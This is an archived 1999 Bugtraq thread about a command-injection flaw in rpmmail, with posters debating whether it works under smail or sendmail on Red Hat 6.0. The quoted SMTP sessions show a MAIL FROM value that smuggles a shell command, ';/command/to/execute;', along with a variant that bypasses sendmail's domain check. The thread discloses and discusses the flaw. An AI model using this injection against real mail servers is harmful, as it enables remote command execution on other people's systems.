There seems to be some confusion regarding this post. Let me try to explain. This post is titled "RH6.0 local/remote command execution" only because rpmmail is distributed on the RH6.0 Extra Applications CD. You can, of course, install rpmmail on any other linux variant, such as SuSE, which is what I did. I believe I made this clear when I pasted: >bash-2.03$ cat /etc/SuSE-release;uname -a;id >SuSE Linux 6.2 (i386) >VERSION = 6.2 >Linux fear62 2.2.10 #1 Tue Jul 20 16:32:24 MEST 1999 i686 unknown >uid=100(xnec) gid=100(users) groups=100(users) In any case, as "D" pointed out, >MAIL FROM: ;/command/to/execute; >553 ;/command/to/execute;... Domain name required >MAIL FROM: ;/command/to/execute;@microsoft.com >250 ;/command/to/execute;@microsoft.com... Sender ok should work on sendmail 8.9.3. -Brock > That does not look like the MTA that comes with RH 6.0. That is smail not > sendmail. I tryed this on my RH 6.0 install and it didn't work. > Notice the "220 fear62 Smail-3.2" > It's not sendmail. > > > -----Original Message----- > From: Bugtraq List [mailto:BUGTRAQat_private]On Behalf Of Neezam > Haniff > Sent: Wednesday, October 06, 1999 12:50 PM > To: BUGTRAQat_private > Subject: RH6.0 local/remote command execution > > > Hi, > > Here are some comments below... > > > The remote exploit is merely: > > bash-2.03$ telnet localhost 25 > > Trying 127.0.0.1... > > Connected to localhost. > > Escape character is '^]'. > > 220 fear62 Smail-3.2 (#1 1999-Jul-23) ready at Tue, 5 Oct 1999 > 11:31:13 -0500 > > (CDT) > > MAIL FROM: ;/command/to/execute; > > 250 <;/command/to/execute;> ... Sender Okay > > RCPT TO: rpmmail > > 250 <rpmmail> ... Recipient Okay > > data > > 354 Enter mail, end with "." on a line by itself > > . > > 250 Mail accepted > > quit > > > > I find this odd that this exploit could exist on a Red Hat 6.0 installation. > sendmail 8.9.3 is the mailer that is installed and the way it's been > configured, there's no way it would accept that sender address since it's > not qualifiable. Please confirm this. This is what I get when I test this > scenario on a Red Hat 6.0 system: > > [nhaniff@dhcp-160-190 nhaniff]$ telnet localhost 25 > Trying 127.0.0.1... > Connected to localhost. > Escape character is '^]'. > 220 dhcp-160-190.x.x ESMTP Sendmail 8.9.3/8.9.3; Wed, 6 Oct 1999 > 13:31:55 -0400 > helo x.x > 250 dhcp-160-190.x.x Hello IDENT:nhaniff@localhost [127.0.0.1], pleased to > meet you > MAIL FROM: ;/command/to/execute; > 553 ;/command/to/execute;... Domain name required > > The only way someone could take advantage of this exploit is if their mailer > configuration allows for the sender to non-qualifiable. > > Neezam. >
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:07:12 PDT